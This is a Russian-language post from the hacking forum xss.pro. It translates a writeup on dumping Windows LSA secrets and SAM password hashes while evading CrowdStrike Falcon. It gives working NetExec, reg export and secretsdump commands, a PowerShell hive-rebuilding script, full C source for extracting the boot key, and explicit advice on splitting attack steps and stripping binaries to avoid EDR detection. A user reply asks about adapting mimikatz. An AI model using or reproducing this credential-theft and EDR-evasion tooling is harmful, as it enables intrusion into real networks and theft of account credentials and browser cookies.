• XSS.stack #1 – первый литературный журнал от юзеров форума

Дампим LSA Secrets: рассказ об распределении задач

simplestop

RAID-массив
Пользователь
Регистрация
21.01.2022
Сообщения
97
Реакции
49
Во время блуждения по внутренней сети, я смог скомпроментировать пару серверов, но не смог сдампить LSA Secrets, поскольку на машинах был установлен CrowdStrike Falcon, который, казалось бы, как китайская стена не давал единого шанса пробратся дальше.
Но не тут то было, и в этой статье мы рассмотрим каким же образом этот "Орленок" меня блокировал, и почему я все таки смог стащить secrets эксплуатируя распределенную атаку! Бонусом покажу вам элегантный способ получения Windows boot key без необходимости дампить SYSTEM hive.

LSA secrets - это специальный "подвальчик" в OS Windows в котором хранятся эти самые "сикреты". Изначально, он использовался для хранения кешированных записей домена, но затем был наделен честью хранить всевозможнные секреты, например, пароли служб, работающих через учетную запись Active Directory.

samdump



Когда вы лазите по сети, и получаете доступ к серверу, естественно вы хотите получить доступ к этим сикретам. Для этого вы используете один из множества инструментов, например NetExec:
nxc smb dc.whiteflag.local -u Administrateur -p Defte@WF --lsa

image.png


Обычно, вы также дампите базу данных SAM, которая содержит NT-хеши локальных учеток.

image.png


Дампить такую информацию кажется пустяком, но под капотом происходит несколько вещей: Во-первых, NetExec должен выгрузить три следующие ветки реестра:
- HKLM\SAM: содержит NT-хэши локальных учетных записей.
- HKLM\SECURITY: содержит сикреты LSA.
- HKLM\SYSTEM: содержит информацию, необходимую для расшифровки базы данных SAM и сикретов LSA.
Взглянув на код, мы видим что NetExec сохраняет сикреты на диск. Интересный код находится в файле nxc/protocols/smb.py:


image.png


SECURITYFileName=self.remote_ops.saveSECURITY() вызывает библиотеку secretsdump из Impacket, которая сохранит ветку реестра во временной директории (TEMP):

image.png


Внутри хоста Windows будет вызвана WinAPI-функция RegSaveKeyExW:
LSTATUS RegSaveKeyExW(
[in] HKEY hKey,
[in] LPCWSTR lpFile,
[in, optional] const LPSECURITY_ATTRIBUTES lpSecurityAttributes,
[in] DWORD Flags
);
Это позволит сохранить ключ в файл. Обращаю внимание, сдампить hives возможно с помощью бинарника reg.exe, но в конечном итоге он тоже вызовет функцию RegSaveKeyExW.
С точки зрения blueteam существует довольно много IOC (ИН, он же индикатор нарушения), которые могут быть выявлены и заблокированы при попытке сдампить LSA сикреты используя NetExec:
1. Запуск Remote Registry сервиса:

image.png

2. Подключение к удаленному реестру через RPC.
3. Сохранение нескольких чуствительных hive (SAM, SECURITY и SYSTEM). HIVEсы сохраняются в файлы, используя 8-символьную случайную строку с конечным расширением .tmp в каталоге TEMP.
4. Файлы скачиваются удаленно.
Коррелируя этой информацией, EDR могут блокировать дамп сикретов LSA. Именно так поступил со мной CrowdStrike Falcon. Этот EDR сумел заблокировать меня удаленно (что неудивительно), но он также не допустил дампа мною LSA сикретов локально, с помощью дефолтных команд reg save^
reg save HKLM\SAM SAM
reg save HKLM\Security SECURITY
reg save HKLM\SYSTEM SYSTEM
И, насколько я понял, Falcon отметил меня двумя разными способами:
1. Он статически пометил команду reg save. Когда вызывался бинарник reg.exe, драйвер, вероятно, получал уведомление, и поскольку список аргументов содержал ключевые слова "save HKLM\SAM", Falcon его завершил.
2. Кроме того, Falcon не позволил мне сохранить HIVEсы даже когда я скрыл командную строку, что означает - доступ к архивам HKLM\{SAM, SECURITY, SYSTEM} защищен, и/или функция RegSaveKey заблокирована.
Интересный момент: есть одна функция, которая не блокируется: reg export.

image.png


Которая подразумевает возможность извлечения содержимого архивов SAM, SECURITY и SYSTEM без срабатывания Falcon. Однако результаты экспорта реестра не похожи на результаты сохранения реестра. Файлы reg export это текстовые файлы, содержащие ключи реестра и их значения. Например, если мы посмотрим на экспорт ветки SAM, то получим следующий результат:

image.png


У нас есть значения которые нам необходимы, но если скормить эти файлы secretsdump'у, он крашнется:

image.png


Причина в том, что secretsdump ожидает определенный формат файла, который можно получить только через reg save, формат файла которого, содержит ключи и метаданные, которых результаты reg export не предоставляет.
На этом этапе моя идея была проста: если я получаю результаты reg export в текстовом формате, я могу просто импортировать их в подконтрольную мне виртуалку (Virtual Machine), сохранить в реестре и запустить secretsdump. Потому я написал PowerShell скриптец, чтобы это провернуть:


Код:
# reg export file results
$files = @(
    "z:\HIVETEST\DC\sam.reg",
    "z:\HIVETEST\DC\system.reg",
    "z:\HIVETEST\DC\security.reg"
)

# Replacing the HKLM\ to HKCU\HELLO so that I do not overwrite VM's hives
Write-Output "Switching HKLM\ to HKCU\HELLO in .reg files"
foreach ($filePath in $files) {
    $content = Get-Content -Path $filePath -Raw -Encoding Unicode
    $replacement = [char[]] "HKEY_CURRENT_USER\HELLO" -join ''
    $updatedContent = $content -replace "HKEY_LOCAL_MACHINE", $replacement
    Set-Content -Path $filePath -Value $updatedContent -Encoding Unicode
    Write-Output "`tUpdated file: $filePath"
}

# Import .reg files in my VM hives
Write-Output "Importing modified .reg files in HKCU\HELLO"
reg import z:\HIVETEST\DC\sam.reg
reg import z:\HIVETEST\DC\system.reg
reg import z:\HIVETEST\DC\security.reg

# Reg save the hives so that I get correctly formatted hive files
Write-Output "Reg saving back to .hive"
reg save HKEY_CURRENT_USER\HELLO\SAM Z:\HIVETEST\DC\SAM.hive
reg save HKEY_CURRENT_USER\HELLO\SECURITY Z:\HIVETEST\DC\SECURITY.hive
reg save HKEY_CURRENT_USER\HELLO\SYSTEM Z:\HIVETEST\DC\SYSTEM.hive

Write-Output "Removing temporary HKCU\HELLO hives"
reg delete HKEY_CURRENT_USER\HELLO /f

Выполянем скрипт:

image.png


И, о чудо, скрипт работает, я могу записать реестр в HKCU\HELLO\:
Что подразумевает, я спокойно могу сдампить ветку через reg save:


image.png


Теперь, если запустить secretsdump:

image.png


Он крашится...Активировав опцию отладки мы видим что не удается получить загрузочный ключ:

image.png


Взглянув на код secretsdump, мы видим содержимое функции getBootKey:

image.png


Для вычисления bootkey, secretsdump запрашивает 4 ключа:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\GBG
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Data
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\JD
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Skew1

Затем он расшифровует их значения, обьеденяет их в 32-битную строку и пересобирает ее, что в итоге дает нам bootkey. Этот ключ будет использоватся для расшифровки данных, хранящихся в ветках SAM и SECURITY, что значит нам нужно получить этот ключ.
Осмотрев результаты reg export видим что у нас действительно есть ключи:


image.png


И я наивно полагал, что именно эти значения используются для вычисления boot key, пока не покопался в коде secretsdump и не убедился что это не так. Если мы взглянем снова на функцию getBootKey, мы увидим что она выполняет не вызов getValue(), а вызов getClass():
ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet, key))
Оказалось, на самом деле, secretsdump не получает значение ключа, он получает значение класса, которое является скрытым(!) значением, которое вы никогда не увидите в regedit!
Остается вопрос, а как же его получить? Если у нас есть результат reg save? у нас будут ключи их значения и метадата, ключая значение класса. Если мы имеем результат reg export, у нас будет только ключ и его значение. Finita la comedia...( Только если мы сами не сможем извлечь эти значения классов.
Что мы можем сделать, так это написать несколько строк на C:

C:
#include <windows.h>
#include <stdio.h>
#define BOOT_KEY_SIZE 16
#pragma warning(disable: 4996)

void getRegistryClassValue(HKEY rootKey, const char* subKey, char* classValue, DWORD classValueSize) {
    HKEY hKey;
    LONG result = RegOpenKeyExA(rootKey, subKey, 0, KEY_READ, &hKey);
    if (result != ERROR_SUCCESS) {
        fprintf(stderr, "Error opening registry key: %ld\n", result);
        return;
    }

    result = RegQueryInfoKeyA(hKey, classValue, &classValueSize, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
    if (result != ERROR_SUCCESS) {
        fprintf(stderr, "Error querying registry key class: %ld\n", result);
    }
    printf("%s: %s\n", subKey, classValue);
    RegCloseKey(hKey);
}

void hexStringToByteArray(const char* hexString, BYTE* byteArray) {
    size_t len = strlen(hexString);
    for (size_t i = 0; i < len / 2; ++i) {
        sscanf(hexString + 2 * i, "%2hhx", &byteArray[i]);
    }
}

void printByteArray(const BYTE* byteArray, size_t length) {
    for (size_t i = 0; i < length; ++i) {
        printf("%02x", byteArray[i]);
    }
    printf("\n");
}

void permuteBootKey(BYTE* bootKey) {
    BYTE temp[BOOT_KEY_SIZE];
    memcpy(temp, bootKey, BOOT_KEY_SIZE);

    int transforms[] = { 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 };
    for (int i = 0; i < BOOT_KEY_SIZE; ++i) {
        bootKey[i] = temp[transforms[i]];
    }
}

int main() {
    const char* keys[] = { "JD", "Skew1", "GBG", "Data" };
    const char* basePath = "SYSTEM\\CurrentControlSet\\Control\\Lsa\\";
    char fullPath[256];
    char classValue[256];
    BYTE bootKey[BOOT_KEY_SIZE];
    size_t offset = 0;

    for (int i = 0; i < 4; ++i) {
        snprintf(fullPath, sizeof(fullPath), "%s%s", basePath, keys[i]);
        getRegistryClassValue(HKEY_LOCAL_MACHINE, fullPath, classValue, sizeof(classValue));
        hexStringToByteArray(classValue, bootKey + offset);
        offset += strlen(classValue) / 2;
    }
    permuteBootKey(bootKey);
    printf("Boot key is: ");
    printByteArray(bootKey, BOOT_KEY_SIZE);
    return 0;
}

Соберем в кучу, запустим и вот он есть: boot key

image.png


В этом бинарнике стоит обратить внимание на 2 вещи: Во первых, нам не нужны привилегии NT\SYSTEM чтобы вытащить значения (что является довольно таки важным условием), во вторых, мы можем подумать что считывание этих значений будет помечено/заблокировано AV/EDR, но это не так:

image.png


Теперь предположим, что бинари заблокирован. Есть ли другие способы для вычисления ключа? Сначала вполне правильно будет подумать что нет. Но пару дней назад мой друг @spizdil, рассказал мне следующее:

zeoob.com_nixxfimn9q_photo.png


Как вы видите, я воспринял это как шутку... Но потом я подумал, а что если попробовать распечатать ветку \LSA? Поэтому я открыл редактор, щелкнул на ветку, нажал ctrl+P, сохранил файл в формате PDF и открыл его в редакторе. Стоит ли говорить что я не был разочарован:

image.png


Вот значения классов, используемые для вычисления bootkey. И вот оно, чудо, не меньше - теперь нам не нужно запускать бинарник для получения этих значений!
На данный момент мы имеем:
- Вычисленный bootkey (неважно, полученный с помощью бинарника или техникой печати)
- Результаты reg export, которые мы импортировали в нашу Windows VM и сохранили в виде reg save результата.
А значит у нас есть все необходимое для расшифровки сикретов LSA и SAM:
Стартуем secretsdump, передав ему SAM Hive, Security Hive и bootkey:

secretsdump.py -sam SAM.hive -security SECURITY.hive -bootkey 8c3bac750e7486be47d92a9c49edc98a
Дает расшифровать всю информацию:

image.png


Профит!!!
Техника, которую я представил здесь, не блокируется и не определяется как вредоносная ни одним EDR/AV (кроме трех, упомянутых в VirusTotal, которые, как мне кажется, являются ложными срабатываниями) по простой причине: декорреляция атак.
Чаще всего атакующие загружают бинари файлы, выполняющие множество действий. Например, если вы когда-нибудь запустите Mimikatz для дампа процесса LSASS, Mimikatz выполнит:


Activate the SeDebugPrivilege
Look for the LSASS PID
Open a handle to the LSASS process
Read the content of its memory
Save it to a dump file or print it on the cmd

Все эти действия используют функции WinAPI, которые отслеживают антивирусы и EDR.
Тот факт, что простой двоичный файл выполняет все эти действия в быстрой последовательности, является хорошим индикатором того, что с ним что-то не так. В нашем случае NetExec был заблокирован Falcon, потому что он сопоставил упомянутые выше действия и, таким образом, обнаружил, что происходит вредоносное действие.
Одним из способов предотвращения блокировки такими инструментами безопасности является декорреляция ваших действий. Это означает, что вместо одного инструмента, выполняющего все действия, следует иметь несколько инструментов, выполняющих простую задачу.
В нашем случае мы можем разбить атаку "дамп сикретов LSA" на 3 шага:
1. Получение загрузочного ключа (как с помощью ранее упомянутого бинарника, единственной целью которого является запрос некоторых значений классов ключей реестра, так и с помощью метода печати)
2. reg export ветки SAM и SECURITY, которую можно сделать с помощью reg.exe. Обратите внимание, что этот экспорт не будет заблокирован, потому что, опять же, это только чтение ключей реестра, а программы постоянно читают ключи реестра. Если бы EDR приходилось отслеживать все эти операции чтения, думаю, система бы крашнулась.
3. Расшифровка результов reg export, а также bootkey. Поскольку у нас есть все необходимые материалы, мы можем расшифровать сикреты на подконтрольном нам компьютере. Это позволит нам не выполнять криптографические операции на целевой системе, что снизит вероятность обнаружения.
Если вы это сделаете, то получите всю информацию, необходимую для расшифровки секретов, но поскольку вы проделали минимальные операции в системе, EDR вас не заметит. Я часто использовал эту технику "декорреляции" в последние пару лет, и она позволила мне полностью обойти EDR, чтобы выгрузить секреты LSA, а также секреты DPAPI (особенно куки Google Chrome, которые шифруются через DPAPI), не прибегая к сложной разработке вредоносного ПО, и это действительно, действительно, очень мощно.
И последнее: если ваш атакующий бинарник блокируется EDR, постарайтесь
разбить его на несколько небольших инструментов и/или ручных операций. Удалите как можно больше кода, удалите бесполезные строки, такие как "how to use"
помощники. Оставьте только необходимый код, тот, который выполняет нужное действие. Чем меньше действий выполняет двоичный код, тем меньше вероятность того, что он будет помечен как вредоносный ;)!
Удачной охоты!

Спижжено и переведено simplestop для достопочтенной публики форума xss.pro
 
Пожалуйста, обратите внимание, что пользователь заблокирован
О, видел статью, сентинель тоже молчал)
Спасибо за перевод!
Жаль, конечно, что для счастья нужна NT\System

Кстати, а можно как-то мимикадзу тоже опенкей подкинуть? Если я правильно помню, то ему только sam и system нужен же
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх